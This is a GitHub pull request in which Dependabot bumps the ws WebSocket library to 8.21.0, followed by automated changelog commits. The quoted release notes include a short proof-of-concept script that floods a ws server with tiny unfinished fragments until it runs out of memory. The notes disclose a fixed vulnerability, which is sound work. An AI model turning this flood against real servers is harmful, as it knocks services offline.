Skip to content

fix(deps): bump ws from 8.20.1 to 8.21.0#1286

Merged
ffflorian merged 1 commit into
mainfrom
dependabot/npm_and_yarn/ws-8.21.0
Jun 16, 2026
Merged

fix(deps): bump ws from 8.20.1 to 8.21.0#1286
ffflorian merged 1 commit into
mainfrom
dependabot/npm_and_yarn/ws-8.21.0

Conversation

@dependabot

@dependabot dependabot Bot commented on behalf of github Jun 16, 2026

Copy link
Copy Markdown
Contributor

Bumps ws from 8.20.1 to 8.21.0.

Release notes

Sourced from ws's releases.

8.21.0

Features

  • Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Commits

Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

  • @dependabot rebase will rebase this PR
  • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
  • @dependabot show <dependency name> ignore conditions will show all of the ignore conditions of the specified dependency
  • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
  • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
  • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
    You can disable automated security fix PRs for this repo from the Security Alerts page.

Bumps [ws](https://github.com/websockets/ws) from 8.20.1 to 8.21.0.
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.20.1...8.21.0)

---
updated-dependencies:
- dependency-name: ws
  dependency-version: 8.21.0
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot Bot added dependencies Pull requests that update a dependency file javascript Pull requests that update Javascript code labels Jun 16, 2026
@ffflorian ffflorian merged commit 4edcd6b into main Jun 16, 2026
2 checks passed
@ffflorian ffflorian deleted the dependabot/npm_and_yarn/ws-8.21.0 branch June 16, 2026 11:27
github-actions Bot pushed a commit that referenced this pull request Jun 18, 2026
## [1.8.4](https://github.com/ffflorian/node-packages/compare/@ffflorian/auto-merge@1.8.3...@ffflorian/auto-merge@1.8.4) (2026-06-18)

### Bug Fixes

* **deps:** bump @npmcli/arborist from 9.7.0 to 9.8.0 ([#1294](#1294)) [ci skip] ([0e2b2dd](0e2b2dd))
* **deps:** bump cosmiconfig from 9.0.1 to 9.0.2 ([#1291](#1291)) [ci skip] ([def09e2](def09e2))
* **deps:** bump esbuild from 0.28.0 to 0.28.1 ([#1284](#1284)) ([a2e28f6](a2e28f6))
* **deps:** bump form-data from 3.0.4 to 3.0.5 ([#1287](#1287)) ([cad63bd](cad63bd))
* **deps:** bump npm-packlist from 11.1.0 to 11.2.0 ([#1280](#1280)) [ci skip] ([901c4db](901c4db))
* **deps:** bump semver from 7.8.1 to 7.8.2 ([#1278](#1278)) ([f7ae08f](f7ae08f))
* **deps:** bump semver from 7.8.2 to 7.8.4 ([#1296](#1296)) [ci skip] ([f8b4e14](f8b4e14))
* **deps:** bump tar from 7.5.11 to 7.5.16 ([#1285](#1285)) [ci skip] ([c5607d5](c5607d5))
* **deps:** bump the protobufjs group across 1 directory with 2 updates ([#1272](#1272)) [ci skip] ([d173113](d173113))
* **deps:** bump the protobufjs group with 2 updates ([#1290](#1290)) [ci skip] ([99aff71](99aff71))
* **deps:** bump undici from 6.24.1 to 6.27.0 ([#1298](#1298)) ([2bee6f8](2bee6f8))
* **deps:** bump ws from 8.20.1 to 8.21.0 ([#1286](#1286)) [ci skip] ([4edcd6b](4edcd6b))
* **electron-info:** replace date-fns with native Date API ([#1269](#1269)) ([6ae3d39](6ae3d39))
github-actions Bot pushed a commit that referenced this pull request Jun 18, 2026
## [1.32.6](https://github.com/ffflorian/node-packages/compare/electron-info@1.32.5...electron-info@1.32.6) (2026-06-18)

### Bug Fixes

* **deps:** bump @npmcli/arborist from 9.7.0 to 9.8.0 ([#1294](#1294)) [ci skip] ([0e2b2dd](0e2b2dd))
* **deps:** bump cosmiconfig from 9.0.1 to 9.0.2 ([#1291](#1291)) [ci skip] ([def09e2](def09e2))
* **deps:** bump esbuild from 0.28.0 to 0.28.1 ([#1284](#1284)) ([a2e28f6](a2e28f6))
* **deps:** bump form-data from 3.0.4 to 3.0.5 ([#1287](#1287)) ([cad63bd](cad63bd))
* **deps:** bump semver from 7.8.2 to 7.8.4 ([#1296](#1296)) [ci skip] ([f8b4e14](f8b4e14))
* **deps:** bump tar from 7.5.11 to 7.5.16 ([#1285](#1285)) [ci skip] ([c5607d5](c5607d5))
* **deps:** bump the protobufjs group with 2 updates ([#1290](#1290)) [ci skip] ([99aff71](99aff71))
* **deps:** bump undici from 6.24.1 to 6.27.0 ([#1298](#1298)) ([2bee6f8](2bee6f8))
* **deps:** bump ws from 8.20.1 to 8.21.0 ([#1286](#1286)) [ci skip] ([4edcd6b](4edcd6b))
github-actions Bot pushed a commit that referenced this pull request Jun 18, 2026
## [3.16.4](https://github.com/ffflorian/node-packages/compare/@ffflorian/jszip-cli@3.16.3...@ffflorian/jszip-cli@3.16.4) (2026-06-18)

### Bug Fixes

* **deps:** bump @npmcli/arborist from 9.7.0 to 9.8.0 ([#1294](#1294)) [ci skip] ([0e2b2dd](0e2b2dd))
* **deps:** bump cosmiconfig from 9.0.1 to 9.0.2 ([#1291](#1291)) [ci skip] ([def09e2](def09e2))
* **deps:** bump esbuild from 0.28.0 to 0.28.1 ([#1284](#1284)) ([a2e28f6](a2e28f6))
* **deps:** bump form-data from 3.0.4 to 3.0.5 ([#1287](#1287)) ([cad63bd](cad63bd))
* **deps:** bump npm-packlist from 11.1.0 to 11.2.0 ([#1280](#1280)) [ci skip] ([901c4db](901c4db))
* **deps:** bump semver from 7.8.1 to 7.8.2 ([#1278](#1278)) ([f7ae08f](f7ae08f))
* **deps:** bump semver from 7.8.2 to 7.8.4 ([#1296](#1296)) [ci skip] ([f8b4e14](f8b4e14))
* **deps:** bump tar from 7.5.11 to 7.5.16 ([#1285](#1285)) [ci skip] ([c5607d5](c5607d5))
* **deps:** bump the protobufjs group across 1 directory with 2 updates ([#1272](#1272)) [ci skip] ([d173113](d173113))
* **deps:** bump the protobufjs group with 2 updates ([#1290](#1290)) [ci skip] ([99aff71](99aff71))
* **deps:** bump undici from 6.24.1 to 6.27.0 ([#1298](#1298)) ([2bee6f8](2bee6f8))
* **deps:** bump ws from 8.20.1 to 8.21.0 ([#1286](#1286)) [ci skip] ([4edcd6b](4edcd6b))
* **electron-info:** replace date-fns with native Date API ([#1269](#1269)) ([6ae3d39](6ae3d39))
github-actions Bot pushed a commit that referenced this pull request Jun 18, 2026
## [1.19.4](https://github.com/ffflorian/node-packages/compare/publish-flat@1.19.3...publish-flat@1.19.4) (2026-06-18)

### Bug Fixes

* **deps:** bump @npmcli/arborist from 9.7.0 to 9.8.0 ([#1294](#1294)) [ci skip] ([0e2b2dd](0e2b2dd))
* **deps:** bump cosmiconfig from 9.0.1 to 9.0.2 ([#1291](#1291)) [ci skip] ([def09e2](def09e2))
* **deps:** bump esbuild from 0.28.0 to 0.28.1 ([#1284](#1284)) ([a2e28f6](a2e28f6))
* **deps:** bump form-data from 3.0.4 to 3.0.5 ([#1287](#1287)) ([cad63bd](cad63bd))
* **deps:** bump semver from 7.8.2 to 7.8.4 ([#1296](#1296)) [ci skip] ([f8b4e14](f8b4e14))
* **deps:** bump tar from 7.5.11 to 7.5.16 ([#1285](#1285)) [ci skip] ([c5607d5](c5607d5))
* **deps:** bump the protobufjs group with 2 updates ([#1290](#1290)) [ci skip] ([99aff71](99aff71))
* **deps:** bump undici from 6.24.1 to 6.27.0 ([#1298](#1298)) ([2bee6f8](2bee6f8))
* **deps:** bump ws from 8.20.1 to 8.21.0 ([#1286](#1286)) [ci skip] ([4edcd6b](4edcd6b))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file javascript Pull requests that update Javascript code

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant